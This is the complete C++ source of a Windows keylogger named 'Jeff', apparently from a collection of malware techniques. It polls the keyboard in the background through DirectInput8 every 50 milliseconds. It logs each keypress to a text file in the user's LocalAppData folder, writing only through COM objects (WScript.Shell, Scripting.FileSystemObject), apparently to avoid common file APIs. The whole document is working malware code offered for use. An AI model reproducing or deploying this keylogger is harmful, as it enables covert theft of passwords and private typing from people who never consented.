"Jeff", COM-only keylogger
#include <windows.h>
#include <dinput.h>
#include <comdef.h>
#pragma comment(lib, "dinput8.lib")
#pragma comment(lib, "dxguid.lib")
typedef struct __DIRECTINPUTKEY {
INT Key;
WCHAR Name[20 * sizeof(WCHAR)];
}DIRECTINPUT_MAPPING, *PDIRECTINPUT_MAPPING;
DIRECTINPUT_MAPPING KeyObject[] =
{
{DIK_ESCAPE, L"ESCAPE"}, {DIK_RETURN, L"\r\n"}, {DIK_BACK, L"\b"},
{DIK_TAB, L"TAB"}, {DIK_SPACE, L" "}, {DIK_LCONTROL, L"LEFT CTRL"},
{DIK_RCONTROL, L"RIGHT CTRL"}, {DIK_LSHIFT, L"LEFT SHIFT"}, {DIK_RSHIFT, L"RIGHT SHIFT"},
{DIK_LMENU, L"LEFT ALT"}, {DIK_RMENU, L"RIGHT ALT"}, {DIK_CAPSLOCK, L"CAPS LOCK"},
{DIK_A, L"A"}, {DIK_B, L"B"}, {DIK_C, L"C"}, {DIK_D, L"D"}, {DIK_E, L"E"}, {DIK_F, L"F"},
{DIK_G, L"G"}, {DIK_H, L"H"}, {DIK_I, L"I"}, {DIK_J, L"J"}, {DIK_K, L"K"}, {DIK_L, L"L"},
{DIK_M, L"M"}, {DIK_N, L"N"}, {DIK_O, L"O"}, {DIK_P, L"P"}, {DIK_Q, L"Q"}, {DIK_R, L"R"},
{DIK_S, L"S"}, {DIK_T, L"T"}, {DIK_U, L"U"}, {DIK_V, L"V"}, {DIK_W, L"W"}, {DIK_X, L"X"},
{DIK_Y, L"Y"}, {DIK_Z, L"Z"}, {DIK_1, L"1"}, {DIK_2, L"2"}, {DIK_3, L"3"}, {DIK_4, L"4"},
{DIK_5, L"5"}, {DIK_6, L"6"}, {DIK_7, L"7"}, {DIK_8, L"8"}, {DIK_9, L"9"}, {DIK_0, L"0"},
{DIK_F1, L"F1"}, {DIK_F2, L"F2"}, {DIK_F3, L"F3"}, {DIK_F4, L"F4"}, {DIK_F5, L"F5"},
{DIK_F6, L"F6"}, {DIK_F7, L"F7"}, {DIK_F8, L"F8"}, {DIK_F9, L"F9"}, {DIK_F10, L"F10"},
{DIK_F11, L"F11"}, {DIK_F12, L"F12"}, {DIK_UP, L"UP ARROW"}, {DIK_DOWN, L"DOWN ARROW"},
{DIK_LEFT, L"LEFT ARROW"}, {DIK_RIGHT, L"RIGHT ARROW"}
};
SIZE_T StringLengthW(_In_ LPCWSTR String)
{
LPCWSTR String2;
for (String2 = String; *String2; ++String2);
return (String2 - String);
}
PWCHAR StringCopyW(_Inout_ PWCHAR String1, _In_ LPCWSTR String2)
{
PWCHAR p = String1;
while ((*p++ = *String2++) != 0);
return String1;
}
PWCHAR StringConcatW(_Inout_ PWCHAR String, _In_ LPCWSTR String2)
{
StringCopyW(&String[StringLengthW(String)], String2);
return String;
}
DWORD Win32FromHResult(_In_ HRESULT Result)
{
if ((Result & 0xFFFF0000) == MAKE_HRESULT(SEVERITY_ERROR, FACILITY_WIN32, 0))
return HRESULT_CODE(Result);
if (Result == S_OK)
return ERROR_SUCCESS;
return ERROR_CAN_NOT_COMPLETE;
}
PWCHAR KeyObjectLookup(INT Key)
{
INT Size = sizeof(KeyObject) / sizeof(KeyObject[0]);
for (INT i = 0; i < Size; i++)
{
if (KeyObject[i].Key == Key)
return KeyObject[i].Name;
}
return (PWCHAR)L"";
}
DWORD PollDirectInput(IDirectInputDevice8W* Keyboard, IDispatch* TextStream, DISPID WriteOperation)
{
CHAR Key[256] = { 0 };
HRESULT Result = S_OK;
VARIANT Buffer; VariantInit(&Buffer);
DISPPARAMS Parameters = { &Buffer, NULL, 1, 0 };
Result = Keyboard->GetDeviceState(sizeof(Key), (LPVOID)&Key);
if (!SUCCEEDED(Result))
return Win32FromHResult(Result);
for (DWORD dwX = 0; dwX < 256; dwX++)
{
if (Key[dwX] & 0x80)
{
Buffer.vt = VT_BSTR;
Buffer.bstrVal = SysAllocString(KeyObjectLookup(dwX));
Result = TextStream->Invoke(WriteOperation, IID_NULL, LOCALE_USER_DEFAULT, DISPATCH_METHOD, &Parameters, NULL, NULL, NULL);
if (!SUCCEEDED(Result))
return Win32FromHResult(Result);
}
}
VariantClear(&Buffer);
return ERROR_SUCCESS;
}
HRESULT CheckComApartment(VOID)
{
APTTYPE Type;
APTTYPEQUALIFIER Qualifier;
return CoGetApartmentType(&Type, &Qualifier);
}
HRESULT CoGetLocalAppData(PWCHAR Path)
{
HRESULT Result = S_OK;
CLSID WscriptObject = { 0 };
IDispatch* Shell = NULL;
IDispatch* Environment = NULL;
OLECHAR* Method = (PWCHAR)L"Environment";
DISPID DispidEnvironment;
DISPID DispidItem;
OLECHAR* Item = (PWCHAR)L"Item";
VARIANT VariableName; VariantInit(&VariableName);
VariableName.vt = VT_BSTR;
VariableName.bstrVal = SysAllocString(L"LOCALAPPDATA");
VARIANT VariableResult; VariantInit(&VariableResult);
DISPPARAMS VariableParameters{ &VariableName, NULL, 1, 0 };
VARIANT VarSystem; VariantInit(&VarSystem);
VarSystem.vt = VT_BSTR;
VarSystem.bstrVal = SysAllocString(L"Process");
VARIANT VarResult; VariantInit(&VarResult);
DISPPARAMS Parameters{ &VarSystem, NULL, 1, 0 };
Result = CLSIDFromProgID(L"WScript.Shell", &WscriptObject);
if (!SUCCEEDED(Result))
goto EXIT_ROUTINE;
Result = CoCreateInstance(WscriptObject, NULL, CLSCTX_INPROC_SERVER, IID_IDispatch, (PVOID*)&Shell);
if (!SUCCEEDED(Result))
goto EXIT_ROUTINE;
Result = Shell->GetIDsOfNames(IID_NULL, &Method, 1, LOCALE_USER_DEFAULT, &DispidEnvironment);
if (!SUCCEEDED(Result))
goto EXIT_ROUTINE;
Result = Shell->Invoke(DispidEnvironment, IID_NULL, LOCALE_USER_DEFAULT, DISPATCH_PROPERTYGET, &Parameters, &VarResult, NULL, NULL);
if (!SUCCEEDED(Result))
goto EXIT_ROUTINE;
if (VarResult.vt == VT_DISPATCH && VarResult.pdispVal != NULL)
{
Environment = VarResult.pdispVal;
Environment->AddRef();
}
else
goto EXIT_ROUTINE;
Result = Environment->GetIDsOfNames(IID_NULL, &Item, 1, LOCALE_USER_DEFAULT, &DispidItem);
if (!SUCCEEDED(Result))
goto EXIT_ROUTINE;
Result = Environment->Invoke(DispidItem, IID_NULL, LOCALE_USER_DEFAULT, DISPATCH_PROPERTYGET, &VariableParameters, &VariableResult, NULL, NULL);
if (!SUCCEEDED(Result))
goto EXIT_ROUTINE;
if (StringCopyW(Path, VariableResult.bstrVal) == NULL)
goto EXIT_ROUTINE;
EXIT_ROUTINE:
if (VarSystem.vt != VT_EMPTY)
VariantClear(&VarSystem);
if (VariableName.vt != VT_EMPTY)
VariantClear(&VariableName);
if (VariableResult.vt != VT_EMPTY)
VariantClear(&VariableResult);
if (VarResult.vt != VT_EMPTY)
VariantClear(&VarResult);
if (Environment)
Environment->Release();
if (Shell)
Shell->Release();
return Result;
}
HRESULT LoadFileSystemObject(IDispatch** Fso)
{
CLSID Clsid;
HRESULT Result = S_OK;
Result = CLSIDFromProgID(L"Scripting.FileSystemObject", &Clsid);
if (!SUCCEEDED(Result))
return E_FAIL;
return CoCreateInstance(Clsid, NULL, CLSCTX_INPROC_SERVER, IID_IDispatch, (PVOID*)Fso);
}
HRESULT LoadDirectInput8Objects(IDirectInput8W** Input, IDirectInputDevice8W** Keyboard)
{
HRESULT Result = S_OK;
Result = DirectInput8Create(GetModuleHandleW(NULL), DIRECTINPUT_VERSION, IID_IDirectInput8, (PVOID*)Input, NULL);
if (!SUCCEEDED(Result))
return E_FAIL;
return (*Input)->CreateDevice(GUID_SysKeyboard, Keyboard, NULL);
}
HRESULT CoOpenTextStream(IDispatch* Fso, IDispatch** TextStream, PWCHAR OutputPath)
{
DISPID OpenTextFile;
OLECHAR* Method = (PWCHAR)L"OpenTextFile";
HRESULT Result = S_OK;
VARIANTARG OpenTextFileArguments[4];
DISPPARAMS Parameters{ OpenTextFileArguments, NULL, 4, 0 };
VARIANT VarResult;
VariantInit(&VarResult);
Result = Fso->GetIDsOfNames(IID_NULL, &Method, 1, LOCALE_USER_DEFAULT, &OpenTextFile);
if (!SUCCEEDED(Result))
return E_FAIL;
for (DWORD dwX = 0; dwX < 4; dwX++)
VariantInit(&OpenTextFileArguments[dwX]);
OpenTextFileArguments[0].vt = VT_I4;
OpenTextFileArguments[0].lVal = -1;
OpenTextFileArguments[1].vt = VT_BOOL;
OpenTextFileArguments[1].boolVal = VARIANT_TRUE;
OpenTextFileArguments[2].vt = VT_I4;
OpenTextFileArguments[2].lVal = 2;
OpenTextFileArguments[3].vt = VT_BSTR;
OpenTextFileArguments[3].bstrVal = SysAllocString(OutputPath);
Result = Fso->Invoke(OpenTextFile, IID_NULL, LOCALE_USER_DEFAULT, DISPATCH_METHOD, &Parameters, &VarResult, NULL, NULL);
if (!SUCCEEDED(Result))
return E_FAIL;
if (VarResult.vt == VT_DISPATCH && VarResult.pdispVal != NULL)
*TextStream = VarResult.pdispVal;
else
return E_FAIL;
for (DWORD dwX = 0; dwX < 4; dwX++)
VariantClear(&OpenTextFileArguments[dwX]);
return Result;
}
INT main(VOID)
{
HRESULT Result = S_OK;
BOOL bFlag = FALSE;
IDirectInput8W* DirectInput = NULL;
IDirectInputDevice8W* Keyboard = NULL;
IMalloc* Allocator = NULL;
PWCHAR OutputPath = NULL;
IDispatch* Fso = NULL;
IDispatch* TextStream = NULL;
DISPID WriteOperation;
OLECHAR* Method = (PWCHAR)L"Write";
Result = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
if (!SUCCEEDED(Result))
goto EXIT_ROUTINE;
Result = LoadFileSystemObject(&Fso);
if (!SUCCEEDED(Result))
goto EXIT_ROUTINE;
Result = LoadDirectInput8Objects(&DirectInput, &Keyboard);
if (!SUCCEEDED(Result))
goto EXIT_ROUTINE;
Result = CoGetMalloc(1, &Allocator);
if (!SUCCEEDED(Result))
goto EXIT_ROUTINE;
OutputPath = (PWCHAR)Allocator->Alloc(MAX_PATH * sizeof(WCHAR));
if (OutputPath == NULL)
goto EXIT_ROUTINE;
Result = CoGetLocalAppData(OutputPath);
if (!SUCCEEDED(Result))
goto EXIT_ROUTINE;
if (StringConcatW(OutputPath, L"\\MyDemo.txt") == NULL)
goto EXIT_ROUTINE;
Result = CoOpenTextStream(Fso, &TextStream, OutputPath);
if (!SUCCEEDED(Result))
goto EXIT_ROUTINE;
Result = Keyboard->SetDataFormat(&c_dfDIKeyboard);
if (!SUCCEEDED(Result))
goto EXIT_ROUTINE;
Result = Keyboard->SetCooperativeLevel(GetConsoleWindow(), DISCL_BACKGROUND | DISCL_NONEXCLUSIVE);
if (!SUCCEEDED(Result))
goto EXIT_ROUTINE;
Result = Keyboard->Acquire();
if (!SUCCEEDED(Result))
goto EXIT_ROUTINE;
Result = TextStream->GetIDsOfNames(IID_NULL, &Method, 1, LOCALE_USER_DEFAULT, &WriteOperation);
if (!SUCCEEDED(Result))
goto EXIT_ROUTINE;
while (TRUE)
{
PollDirectInput(Keyboard, TextStream, WriteOperation);
Sleep(50);
}
bFlag = TRUE;
EXIT_ROUTINE:
Result = CheckComApartment();
if (SUCCEEDED(Result))
{
if (OutputPath)
Allocator->Free(OutputPath);
if (Allocator)
Allocator->Release();
if (Fso)
Fso->Release();
if (TextStream)
TextStream->Release();
if (Keyboard)
{
Keyboard->Unacquire();
Keyboard->Release();
}
if (DirectInput)
DirectInput->Release();
CoUninitialize();
}
return bFlag;
}Last updated